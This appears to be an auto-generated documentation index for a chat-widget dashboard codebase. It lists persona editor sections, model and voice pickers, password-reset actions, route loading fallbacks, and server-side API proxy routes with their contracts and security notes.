### embed-app/password-reset
- **`embed-app.password-reset.actions`** — Tests for the forgot-password / reset-password server actions. Key behaviors under test: forgotPasswordAction: - Blank / malformed email → shape error (leaks nothing about accounts) - Valid email → done:true for EVERY upstream outcome (ok, rejected, unreachable) — the anti-enumeration promise - Email is trimmed + lowercased before relaying to tenants resetPasswordAction: - Missing token → invalid-link error (no upstream call) - Short password (<8 chars) → password-specific error (no upstream call) - Upstream "rejected" → ONE invalid-or-expired message (no detail) - Upstream "unreachable" → retry message - Success → done:true (the page links to /login; no session is minted) NOTE: both actions import from @/lib/authClient (`server-only`, stubbed by the vitest alias). We mock the module entirely so no real network happens.  
  *embed-dashboard/src/test/passwordResetActions.test.ts:2*

### embed-app/persona
- **`embed-app.persona.advanced-panel`** — The persona editor's progressive-disclosure "Advanced" region (.oa-advanced): greeting, memory, languages, tools, voice consent and usage limits fold behind one row. Extracted from PersonaEditor (structural decomposition only) — pure composition. Each block owns its own local state (see the individual Persona*Section components); only memory_mode and eu_only_mode are threaded through from the parent PersonaEditor because they're shared with sibling sections/panels.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaAdvancedPanel.tsx:4*
- **`embed-app.persona.dials-section`** — Persona editor — "Personality" section: the five tone-dial sliders (warmth/formality/brevity/humor/expertise), persisted as dial_warmth / dial_formality / … via saveWidgetAction. Extracted from PersonaEditor (structural decomposition only). dialValues stays owned by the parent because the Script section (PersonaPromptStudio's "what the agent receives" preview) also reads it.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaDialsSection.tsx:4*
- **`embed-app.persona.editor`** — Client editor for a single widget, backed by real openalice-tenants data. The load-bearing fields — display name, persona script, mode, and the Memory block (memory_mode + retention_days) — are wired to the saveWidgetAction server action (PATCH /me/widgets/{id}). The personality dials, guardrails, and live preview remain presentational (the tenants widget schema doesn't model them yet) so the existing design is preserved without claiming false persistence. Structural decomposition (2026-07-14): the page was split section-by- section into Persona*Section components (see the sibling files in this directory). This file is now pure composition + the state that's genuinely shared across sections (name, memory_mode, dialValues, eu_only_mode). Every other field's state moved with its section — no behavior, wording, or persisted value changed.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaEditor.tsx:4*
- **`embed-app.persona.greeting-section`** — Advanced-panel "Greeting" block — greeting_enabled + greeting (≤500 chars), REAL fields persisted via saveWidgetAction. Extracted from PersonaEditor (structural decomposition only). State is fully local: nothing outside this section reads it before save.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaGreetingSection.tsx:4*
- **`embed-app.persona.header-bar`** — Persona editor page header — EditorHead (crumb/title/back+save actions) plus the save-error banner. Extracted from PersonaEditor (structural decomposition only). Must be rendered INSIDE the parent <form>; the "Save changes" submit button submits that form via normal DOM bubbling — no formAction prop is needed here.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaHeaderBar.tsx:4*
- **`embed-app.persona.identity-section`** — Persona editor — "Name & mode" section: display name + widget mode, REAL fields persisted via saveWidgetAction. Extracted from PersonaEditor (structural decomposition only). `name` is lifted to the parent because the Script section (agentName) and the live preview panel also read it.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaIdentitySection.tsx:4*
- **`embed-app.persona.languages-section`** — Advanced-panel "Languages" block — supported_languages (BCP-47), REAL field persisted via saveWidgetAction (empty set = no restriction). Extracted from PersonaEditor (structural decomposition only). State is fully local: nothing outside this section reads it before save.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaLanguagesSection.tsx:4*
- **`embed-app.persona.memory-section`** — Advanced-panel "Memory" block — memory_mode + retention_days, REAL fields persisted via saveWidgetAction. Extracted from PersonaEditor (structural decomposition only). memory_mode is lifted to the parent because the live preview panel also reflects it.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaMemorySection.tsx:4*
- **`embed-app.persona.model-selector`** — Per-widget AI-model picker (radio-card list) wired to the real tenants catalog. Mirrors the Voice picker / Appearance card UX: - REGION filter: when the widget's eu_only_mode is on, `region === "us"` models are hidden (EU-sovereign only). The filter is reactive — it tracks the live `euOnly` toggle in the parent PersonaEditor. - TIER gating: a model whose `min_tier` out-ranks the tenant's plan is shown LOCKED (disabled + "Upgrade to {tier}"), never hidden — the owner sees what a higher plan unlocks. - On select it PATCHes BOTH llm_model + llm_provider LIVE via saveModelAction and surfaces a server 400 rejection gracefully (the server is the real gate). The empty "Recommended default" card clears the per-widget pin. Rendered INSIDE the PersonaEditor <form>; every card is a type="button" so a click never submits that form — the model saves through its own action.  
  *embed-dashboard/src/app/(dash)/widgets/persona/ModelSelector.tsx:4*
- **`embed-app.persona.model-selector.test`** — Tests for the per-widget AI-model selector (ModelSelector). Covers the load-bearing behaviors required by the model-picker brief: - REGION filter: when the widget's eu_only_mode is on, `region === "us"` models are HIDDEN (EU-sovereign only); off → US models render. - TIER gating: a model whose min_tier out-ranks the tenant's plan renders LOCKED (disabled + an "Upgrade to …" upsell), never silently dropped. - PATCH-on-select: clicking an allowed card calls saveModelAction with the widget id AND BOTH the model id + provider. The saveModelAction server action is mocked via vi.mock so no real network call happens (mirrors TranscriptEmailEditor.test.tsx).  
  *embed-dashboard/src/test/ModelSelector.test.tsx:2*
- **`embed-app.persona.preview-panel`** — Persona editor — right-column live preview (presentational). Extracted from PersonaEditor (structural decomposition only). Purely presentational (the tenants widget schema doesn't model the personality/guardrail dials yet), so it carries no state of its own beyond what's threaded in from the parent.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaPreviewPanel.tsx:4*
- **`embed-app.persona.prompt-studio`** — no description  
  *embed-dashboard/src/components/PersonaPromptStudio.tsx:16*
- **`embed-app.persona.prompt-studio`** — Persona prompt compile/parse — the single-source-of-truth bridge between the GUIDED builder (Role · Rules · Avoid · Examples) and the ADVANCED raw editor. The canonical value is the `persona_script` markdown (what the agent uses). Guided edits compile → markdown; opening Guided parses markdown → sections. The structure is encoded in the markdown itself (`## Role` / `## Rules` / …), so there's NO extra storage and a power-user's hand-edits round-trip cleanly. Anything that doesn't fit a known section is preserved verbatim in `extra`.  
  *embed-dashboard/src/lib/personaPrompt.ts:2*
- **`embed-app.persona.script-section`** — Persona editor — "Script" section: the persona_script editor (PersonaPromptStudio) + the "Improve with AI" action. Extracted from PersonaEditor (structural decomposition only — no behavior change). Owns its own persona_script/improving/improveError state: nothing outside this section reads persona_script before save (PersonaPromptStudio submits it via its own hidden input), so the state is safe to keep local.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaScriptSection.tsx:4*
- **`embed-app.persona.tools-section`** — Advanced-panel "Agent tools" block — tools_enabled + tool_allowlist + tool_max_iterations, REAL fields persisted via saveWidgetAction. Extracted from PersonaEditor (structural decomposition only). State is fully local: nothing outside this section reads it before save.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaToolsSection.tsx:4*
- **`embed-app.persona.usage-limits-section`** — Advanced-panel "Usage limit" block — visitor_minute_cap (+ grace_pct + message) and the per-conversation token_budget, REAL fields persisted via saveWidgetAction. Extracted from PersonaEditor (structural decomposition only). State is fully local: nothing outside this section reads it before save.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaUsageLimitsSection.tsx:4*
- **`embed-app.persona.voice-consent-section`** — Advanced-panel "Voice" block — the legacy voice_id select (distinct from the catalog-driven VoiceSelector card grid rendered above it) plus the per-provider US consent gates (STT / TTS / LLMs) and the EU-only hard lock. Extracted from PersonaEditor (structural decomposition only). voice_id and the three consent flags are local state (nothing outside this section reads them before save); eu_only_mode is lifted to the parent because ModelSelector + VoiceSelector also read it live.  
  *embed-dashboard/src/app/(dash)/widgets/persona/PersonaVoiceConsentSection.tsx:4*
- **`embed-app.persona.voice-selector`** — Per-widget AI-VOICE picker — a premium card grid wired to the real tenants voice catalog (GET /me/voice-catalog). The direct sibling of ModelSelector; same gating model, richer cards: - PROVIDER groups, region-badged: 🇪🇺 Voxtral (EU-sovereign), 🇺🇸 Fish (Standard), 🇺🇸 ElevenLabs (Premium). When the widget's eu_only_mode is on, the US providers (region "us") are hidden entirely (EU-sovereign only). The filter is reactive — it tracks the live `euOnly` toggle in PersonaEditor. - TIER gating: a voice whose `min_tier` out-ranks the tenant's plan renders LOCKED (disabled + "Upgrade to {tier}"), never hidden — the owner sees what a higher plan unlocks. - Each voice card carries a DiceBear "lorelei" avatar, the name, a gender chip, a one-line blurb, a ▶ Preview button (plays /api/voice-preview via a single reused <audio> element, with loading/playing states), and a selected-state ring. - On select it PATCHes BOTH tts_provider + voice_id LIVE via saveVoiceAction and surfaces a server 400 rejection gracefully (the server is the real gate). The "Default voice" card clears the per-widget pin. Rendered INSIDE the PersonaEditor <form>; the card's select control is a type="button" so a click never submits that form — the voice saves through its own action. The Preview button is a separate sibling button (no nested buttons) and stops propagation so it never triggers a select.  
  *embed-dashboard/src/app/(dash)/widgets/persona/VoiceSelector.tsx:4*
- **`embed-app.persona.voice-selector.test`** — Tests for the per-widget AI-voice selector (VoiceSelector). Covers the load-bearing behaviors required by the voice-picker brief: - REGION filter: when the widget's eu_only_mode is on, US providers (Fish / ElevenLabs, region "us") are HIDDEN (EU-sovereign only); off → they render. - TIER gating: a voice whose min_tier out-ranks the tenant's plan renders LOCKED (disabled + an "Upgrade to …" upsell), never silently dropped. - PATCH-on-select: clicking an allowed voice calls saveVoiceAction with the widget id AND BOTH the provider + voice id. - PREVIEW: the ▶ Preview button points the reused <audio> element at the correct /api/voice-preview URL for that voice. saveVoiceAction is mocked via vi.mock so no real network call happens. HTMLMediaElement.play is stubbed (jsdom does not implement it).  
  *embed-dashboard/src/test/VoiceSelector.test.tsx:2*

### embed-app/reliability
- **`embed-app.abtests.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the A/B tests route.  
  *embed-dashboard/src/app/(dash)/widgets/abtests/loading.tsx:6*
- **`embed-app.analytics.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the analytics route (wave-4 finding 21).  
  *embed-dashboard/src/app/(dash)/analytics/loading.tsx:9*
- **`embed-app.auth.loading`** · _alpha_ · since 0.1.0 — Shared route-level Suspense fallback for /login, /forgot-password, /reset-password and /onboarding — generic on-brand wait state (no AppShell).  
  *embed-dashboard/src/components/AuthLoading.tsx:16*
- **`embed-app.avatar-studio.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the avatar thumbnail studio route.  
  *embed-dashboard/src/app/(dash)/widgets/avatars/studio/loading.tsx:13*
- **`embed-app.billing.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the billing route (wave-4 finding 21).  
  *embed-dashboard/src/app/(dash)/settings/billing/loading.tsx:6*
- **`embed-app.billing-return.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the post-checkout return route.  
  *embed-dashboard/src/app/(dash)/settings/billing/return/loading.tsx:5*
- **`embed-app.brand.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the appearance editor route.  
  *embed-dashboard/src/app/(dash)/widgets/brand/loading.tsx:6*
- **`embed-app.conversations.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the two-pane conversations inbox route.  
  *embed-dashboard/src/app/(dash)/conversations/loading.tsx:8*
- **`embed-app.csat.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the CSAT route.  
  *embed-dashboard/src/app/(dash)/widgets/csat/loading.tsx:5*
- **`embed-app.email.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the transcript-email editor route.  
  *embed-dashboard/src/app/(dash)/widgets/email/loading.tsx:5*
- **`embed-app.error-boundary`** · _alpha_ · since 0.1.0 — Dashboard route-segment error boundary — recoverable UI + retry on upstream/render failure.  
  *embed-dashboard/src/app/error.tsx:12*
- **`embed-app.home.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the dashboard home route, scoped below the persistent AppShell.  
  *embed-dashboard/src/app/(dash)/loading.tsx:5*
- **`embed-app.home.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the dashboard home route (also the root segment fallback).  
  *embed-dashboard/src/app/loading.tsx:19*
- **`embed-app.hours.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the business-hours editor route.  
  *embed-dashboard/src/app/(dash)/widgets/hours/loading.tsx:6*
- **`embed-app.insights.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the insights route.  
  *embed-dashboard/src/app/(dash)/insights/loading.tsx:8*
- **`embed-app.install.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the install/deploy route.  
  *embed-dashboard/src/app/(dash)/widgets/install/loading.tsx:6*
- **`embed-app.knowledge.loading`** · _stable_ · since 0.1.0 — Skeleton Suspense fallback for the Knowledge wiki route.  
  *embed-dashboard/src/app/(dash)/widgets/knowledge/loading.tsx:6*
- **`embed-app.leads.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the per-widget leads route (wave-4 finding 21).  
  *embed-dashboard/src/app/(dash)/widgets/leads/loading.tsx:6*
- **`embed-app.mode.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the mode editor route.  
  *embed-dashboard/src/app/(dash)/widgets/mode/loading.tsx:6*
- **`embed-app.not-found`** · _alpha_ · since 0.1.0 — Branded 404 page for unknown dashboard routes.  
  *embed-dashboard/src/app/not-found.tsx:8*
- **`embed-app.overview.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the per-widget overview route.  
  *embed-dashboard/src/app/(dash)/widgets/overview/loading.tsx:6*
- **`embed-app.page.lily-public.loading`** · _stable_ · since 0.1.0 — Lily-shaped skeleton Suspense fallback for the public /l/[slug] page.  
  *embed-dashboard/src/app/l/[slug]/loading.tsx:2*
- **`embed-app.persona.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the persona editor route, scoped below the persistent tab strip.  
  *embed-dashboard/src/app/(dash)/widgets/persona/loading.tsx:6*
- **`embed-app.preview.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the live-preview route.  
  *embed-dashboard/src/app/(dash)/widgets/preview/loading.tsx:6*
- **`embed-app.settings-account.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the account settings route.  
  *embed-dashboard/src/app/(dash)/settings/account/loading.tsx:5*
- **`embed-app.settings-flags.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the feature-flags route.  
  *embed-dashboard/src/app/(dash)/settings/flags/loading.tsx:6*
- **`embed-app.settings-index.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the settings hub route.  
  *embed-dashboard/src/app/(dash)/settings/loading.tsx:5*
- **`embed-app.settings-sso.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the SSO configuration route.  
  *embed-dashboard/src/app/(dash)/settings/sso/loading.tsx:5*
- **`embed-app.settings-team.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the team-signpost route.  
  *embed-dashboard/src/app/(dash)/settings/team/loading.tsx:5*
- **`embed-app.share-accept.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the widget-share invite-accept route.  
  *embed-dashboard/src/app/share/accept/loading.tsx:5*
- **`embed-app.testdrive.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the test-drive route.  
  *embed-dashboard/src/app/(dash)/widgets/testdrive/loading.tsx:5*
- **`embed-app.trained-by-us.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the transparency/audit-log route.  
  *embed-dashboard/src/app/(dash)/widgets/trained-by-us/loading.tsx:6*
- **`embed-app.usage.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the usage route (wave-4 finding 21 follow-up).  
  *embed-dashboard/src/app/(dash)/usage/loading.tsx:6*
- **`embed-app.voice.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the voice editor route.  
  *embed-dashboard/src/app/(dash)/widgets/voice/loading.tsx:6*
- **`embed-app.webhooks.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the webhooks route.  
  *embed-dashboard/src/app/(dash)/widgets/webhooks/loading.tsx:6*
- **`embed-app.widget-analytics.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the per-widget analytics route.  
  *embed-dashboard/src/app/(dash)/widgets/analytics/loading.tsx:6*
- **`embed-app.widgets-index.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the widgets index route.  
  *embed-dashboard/src/app/(dash)/widgets/loading.tsx:6*
- **`embed-app.widgets-new.loading`** · _alpha_ · since 0.1.0 — Skeleton Suspense fallback for the create-widget route.  
  *embed-dashboard/src/app/(dash)/widgets/new/loading.tsx:5*

### embed-app/reset-password
- **`embed-app.reset-password.actions`** — Server action for the /reset-password?token=… page (linked from the reset email). Relays the token + new password to the tenants auth-proxy (POST /auth/password/reset, auth-direct). On success the page links to /login — the user signs in with the new password; no session is minted here. Error policy: an upstream rejection (invalid/expired/used token) collapses to one "link is invalid or has expired" message — the token's failure mode is never detailed. Transport faults get the same retry message as login.  
  *embed-dashboard/src/app/reset-password/actions.ts:4*

### embed-app/route
- **`embed-app.route.analytics`** — GET /api/analytics?widget_id=<public_id>&days=<N> Server-side proxy to openalice-agent-lite's internal analytics summary: GET /internal/analytics/summary?widget_id=<public_id>&days=<N> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard client calls. Contract: Request  query: widget_id (required), days (optional, default 30, 7|30) Response (JSON): ConversationAnalytics on success { error: string }     on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/analytics/route.ts:2*
- **`embed-app.route.avatar-thumbnail`** — POST /api/avatars/thumbnail — persists a browser-rendered VRM preview to the statically-served public dir so it shows up in the avatar catalog cards. Design (NAO's explicit zero-server-render rule): the platform admin renders each catalog VRM in their browser (three.js) and captures preview WebPs at three framings. This route is the ONLY server cost — a bounded file write of an already-encoded image. No GPU, no headless browser, no model load here. Auth: admin-only. Reuses the dashboard's getDashboardToken() (real session cookie OR the dev-minted tenant JWT). Anonymous requests are rejected 401 — there is no anon write path. (Studio is a dashboard route behind the same middleware guard; this is the defence-in-depth server-side check.) Input (multipart/form-data OR JSON): - id    : avatar id, charset-validated ^[a-z0-9_-]{1,64}$ (no path chars) - angle : one of head | half | full (whitelist) - image : the WebP blob (multipart "image") OR base64 data-URL/raw string in JSON "image" Validation: content-type must be image/webp, size <= 512 KB. The file is written to public/v1/vrm/thumb/<id>-<angle>.webp via a path that is re-derived from the validated id + a fixed basename — never from caller input — so it can never escape the thumb dir. For angle==="head" we ALSO write the primary public/v1/vrm/thumb/<id>.webp (the card's default image, matched by AvatarPicker's deriveThumb()). Returns the saved public URL(s). public/v1/vrm/ is gitignored (generated CDN asset, like aria.vrm) so these never enter source control.  
  *embed-dashboard/src/app/api/avatars/thumbnail/route.ts:2*
- **`embed-app.route.conversation-note-add`** — POST /api/conversations/[id]/notes Server-side proxy to agent-lite's BEARER-gated inbox-depth endpoint (#773 wave 2): POST /v1/conversations/{id}/notes {"text": string} agent-lite trims + bounds the note (non-empty, ≤4000 chars) and attributes it to the verified principal. Append-only; read back via the conversation detail's `notes` array. The tenant bearer is resolved server-side via getDashboardToken() and never reaches the browser. Contract: Request  body: { text: string }   ← required, non-empty after trim, ≤4000 Response: 201 on success { error: string } JSON on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/conversations/[id]/notes/route.ts:2*
- **`embed-app.route.conversation-operator-message`** — POST /api/conversations/[id]/operator-message Server-side proxy to agent-lite's BEARER-gated live-takeover endpoint (EMBED_LIVE_TAKEOVER_V1): POST /v1/conversations/{id}/operator-message {"text": string} agent-lite persists the turn (role "operator") and relays it to the visitor's event stream. The tenant bearer is resolved server-side via getDashboardToken() and never reaches the browser. Contract: Request  body: { text: string }   ← required, non-empty after trim Response: 204 on success { error: string } JSON on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/conversations/[id]/operator-message/route.ts:2*
- **`embed-app.route.conversation-release`** — POST /api/conversations/[id]/release Server-side proxy to agent-lite's BEARER-gated live-takeover endpoint (EMBED_LIVE_TAKEOVER_V1): POST /v1/conversations/{id}/release {} Flips control back to the agent ("Lily answers again"); agent-lite broadcasts operator_left + control to the visitor's event stream. The tenant bearer is resolved server-side via getDashboardToken() and never reaches the browser. Contract: Request  body: none required (any body is ignored) Response: 204 on success { error: string } JSON on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/conversations/[id]/release/route.ts:2*
- **`embed-app.route.conversations-list`** — GET /api/conversations?widget_id=<public_id>&limit=<n>&cursor=<iso8601> &q=<text>&tag=<tag> Server-side proxy to openalice-agent-lite's internal conversations list: GET /internal/conversations?widget_id=<public_id>&limit=<n>&cursor=<iso8601> &q=<text>&tag=<tag> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard client calls. Inbox-depth search (#773 wave 2): `q` is a case-insensitive substring over the visitor id / tier + conversation id + tags — NOT message content (which is encrypted at rest). `tag` filters to one exact operator tag. Contract: Request  query: widget_id (required), limit/cursor/q/tag (all optional) Response (JSON): ConversationList on success { error: string }     on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/conversations/route.ts:2*
- **`embed-app.route.conversation-tag-add`** — POST /api/conversations/[id]/tags Server-side proxy to agent-lite's BEARER-gated inbox-depth endpoint (#773 wave 2): POST /v1/conversations/{id}/tags {"tag": string} agent-lite re-validates + normalizes the tag (trim, lowercase, [a-z0-9-_], ≤32) and is idempotent. The tenant bearer is resolved server-side via getDashboardToken() and never reaches the browser; the client also pre-validates via normalizeConversationTag. Contract: Request  body: { tag: string }   ← required, non-empty after normalize Response: 204 on success { error: string } JSON on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/conversations/[id]/tags/route.ts:2*
- **`embed-app.route.conversation-tag-remove`** — DELETE /api/conversations/[id]/tags/[tag] Server-side proxy to agent-lite's BEARER-gated inbox-depth endpoint (#773 wave 2): DELETE /v1/conversations/{id}/tags/{tag} agent-lite normalizes the path tag the same way as the add path and is idempotent (removing an absent tag → 204). The tenant bearer is resolved server-side via getDashboardToken() and never reaches the browser. Contract: Request  path: conversation id + tag (the normalized label) Response: 204 on success { error: string } JSON on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/conversations/[id]/tags/[tag]/route.ts:2*
- **`embed-app.route.conversation-tags-notes`** — Tests for the inbox-depth proxy routes (#773 wave 2): POST   /api/conversations/[id]/tags        — add an operator tag - 400 on a missing / malformed tag (validated BEFORE the bearer check) - normalizes the tag (trim + lowercase) before forwarding - 401 when no bearer, 204 on success, agent-lite error mapping DELETE /api/conversations/[id]/tags/[tag]  — remove an operator tag - 400 on a malformed path tag, 401 when no bearer, 204 on success - normalizes the path tag before forwarding POST   /api/conversations/[id]/notes       — append an operator note - 400 on empty / missing / over-cap text, 401 when no bearer - forwards trimmed text, 201 on success, agent-lite error mapping Strategy mirrors operatorRoutes.test.ts: vi.mock the agentLite write fns + getDashboardToken. Route handlers receive a plain Request + a params Promise (Next 16 signature).  
  *embed-dashboard/src/test/inboxRoutes.test.ts:2*
- **`embed-app.route.conversation-takeover`** — Tests for the live-takeover proxy routes (EMBED_LIVE_TAKEOVER_V1): POST /api/conversations/[id]/takeover - derives operator_name from session claims (claims win over body) - falls back to the body operator_name, then "Operator" - 401 when no bearer, agent-lite error mapping POST /api/conversations/[id]/operator-message - forwards {text}, 400 on empty/missing text, 204 on success POST /api/conversations/[id]/release - forwards with the bearer, 204 on success Strategy: vi.mock the agentLite operator actions + getDashboardToken + getSessionClaims (claimsDisplayName stays REAL via importActual so the claims-precedence logic is exercised end-to-end). Route handlers receive plain Request objects + a params Promise, matching the Next 16 signature. claimsDisplayName itself (display_name → username → email → null) is also unit-tested here.  
  *embed-dashboard/src/test/operatorRoutes.test.ts:2*
- **`embed-app.route.conversation-takeover`** — POST /api/conversations/[id]/takeover Server-side proxy to agent-lite's BEARER-gated live-takeover endpoint (EMBED_LIVE_TAKEOVER_V1): POST /v1/conversations/{id}/takeover {"operator_name": string} The operator_name is derived SERVER-SIDE from the signed-in session's claims (display_name → username → email) so the browser cannot spoof an identity; an optional body {operator_name} acts only as a dev fallback when no identity claim exists (dev-token sessions), with "Operator" as the final default. The tenant bearer is resolved via getDashboardToken() and never reaches the browser. Contract: Request  body (optional): { operator_name?: string }   ← dev fallback only Response (JSON): { ok: true, operator_name: string } on success { error: string }                   on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/conversations/[id]/takeover/route.ts:2*
- **`embed-app.route.conversation-transcript`** — GET /api/conversations/[id]?widget_id=<public_id> Server-side proxy to openalice-agent-lite's internal transcript endpoint: GET /internal/conversations/{id}?widget_id=<public_id> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard client calls. Contract: Request  query: widget_id (required); path: conversation id Response (JSON): ConversationTranscript on success { error: string }     on failure (4xx/5xx) POST /api/conversations/[id] Body: { value?: number|null, goal?: string|null } Marks the conversation CONVERTED. Proxies to agent-lite's BEARER-gated POST /v1/conversations/{id}/convert with the tenant token resolved server-side via getDashboardToken(). 204 on success.  
  *embed-dashboard/src/app/api/conversations/[id]/route.ts:2*
- **`embed-app.route.experiments`** — The BFF proxy that bridges the browser A/B dashboard (ABTestsView) to the two server-only clients. Both secrets (the tenant JWT and the INTERNAL_SECRET) live server-side only and never reach the browser — this route is the only thing the dashboard client calls. GET  /api/experiments?widget_id=<public_id>&experiment_id=<uuid>&days=<N> → experimentsInsights.getExperimentInsights() (agent-lite metrics) Response (JSON): { variants: VariantMetrics[] } | { error: string } POST /api/experiments → experiments.createExperiment() (tenants CRUD) Response (JSON): ExperimentFull | { error: string } Read (GET) hits agent-lite over the internal secret; write (POST) hits tenants over the tenant JWT. Mutating the experiment LIFECYCLE (start/pause/conclude) and variant CRUD go through dedicated server actions on the page, not this route — this BFF only covers the two browser-initiated flows the client component needs. Security (P1 #7): GET is gated by assertWidgetAccess(widgetId) — the same tenant-ownership check every other internal-secret read proxy uses (analytics/conversations/insights/kb-stats/leads-export). Without it, a signed-in tenant could supply a competitor's public widget_id (exposed in every customer site's embed snippet) and pull that widget's A/B metrics. Once the experiment is resolved, the metrics fetch uses the tenants-verified `experiment.widget_id` rather than the raw query param — never trust client input over an authoritative value once we have one.  
  *embed-dashboard/src/app/api/experiments/route.ts:2*
- **`embed-app.route.generate-setup`** — Tenant-scoped BFF proxy for the PAID Studio «Setup-Assistent» generation: POST /api/generate-setup — multipart: `widget_id`, `payload` (JSON: answers + texts + links), repeated `photo` image files. The dashboard bearer token is resolved server-side and forwarded to embed-accounts POST /me/widgets/{id}/generate-setup over EMBED_ACCOUNTS_INTERNAL_URL — the token never reaches the browser, the photo bytes never persist on this Next.js process. Mirrors the vrm-upload route's defence-in-depth: magic-byte + size pre-validation here even though accounts re-validates authoritatively. Unlike the generic relay, error bodies PRESERVE the machine `code` ({error, code}) — the client branches on plan_upgrade_required / generation_rate_limited / generation_unavailable, never on wording.  
  *embed-dashboard/src/app/api/generate-setup/route.ts:2*
- **`embed-app.route.improve-prompt`** — POST /api/improve-prompt — expands a customer's rough persona notes into our ÉTALON structured brand-rep system prompt using OpenRouter. EU-sovereign by design: the model is mistralai/mistral-large (Mistral, FR). The OpenRouter key lives server-side only (OPENROUTER_API_KEY); the browser never sees it. A single bounded completion (max_tokens ~800, temp ~0.4) keeps cost predictable. The route only generates a draft — the dashboard fills the textarea and lets the customer review/edit before they save, so nothing here mutates widget config. Contract: Request  (JSON): { draft: string }   — the customer's rough notes Response (JSON): { improved: string } on success { error: string }    on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/improve-prompt/route.ts:2*
- **`embed-app.route.insights-csat`** — GET /api/insights/csat?widget_id=<public_id>&days=<N> Server-side proxy to openalice-agent-lite's internal CSAT insights: GET /internal/insights/csat?widget_id=<public_id>&days=<N> authenticated with the shared `x-internal-secret` (server-side only; never reaches the browser). Contract: Request  query: widget_id (required), days (optional, default 30) Response (JSON): CsatInsights on success { error: string }   on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/insights/csat/route.ts:2*
- **`embed-app.route.insights-intent`** — GET /api/insights/intent?widget_id=<public_id>&days=<N> Server-side proxy to openalice-agent-lite's internal intent insights: GET /internal/insights/intent?widget_id=<public_id>&days=<N> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard client calls. Contract: Request  query: widget_id (required), days (optional, default 30) Response (JSON): IntentInsights on success { error: string }       on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/insights/intent/route.ts:2*
- **`embed-app.route.insights-knowledge-gaps`** — GET /api/insights/knowledge-gaps?widget_id=<public_id>&days=<N>&limit=<N> Server-side proxy to openalice-agent-lite's internal knowledge-gaps surface: GET /internal/insights/knowledge-gaps?widget_id=<public_id>&days=<N>&limit=<N> authenticated with the shared `x-internal-secret`. The secret lives server-side only (INTERNAL_SECRET) and never reaches the browser — this route is the only thing the dashboard client calls. Contract: Request  query: widget_id (required), days (optional, default 30), limit (optional, default 10) Response (JSON): KnowledgeGaps on success { error: string }  on failure (4xx/5xx)  
  *embed-dashboard/src/app/api/insights/knowledge-gaps/route.ts:2*
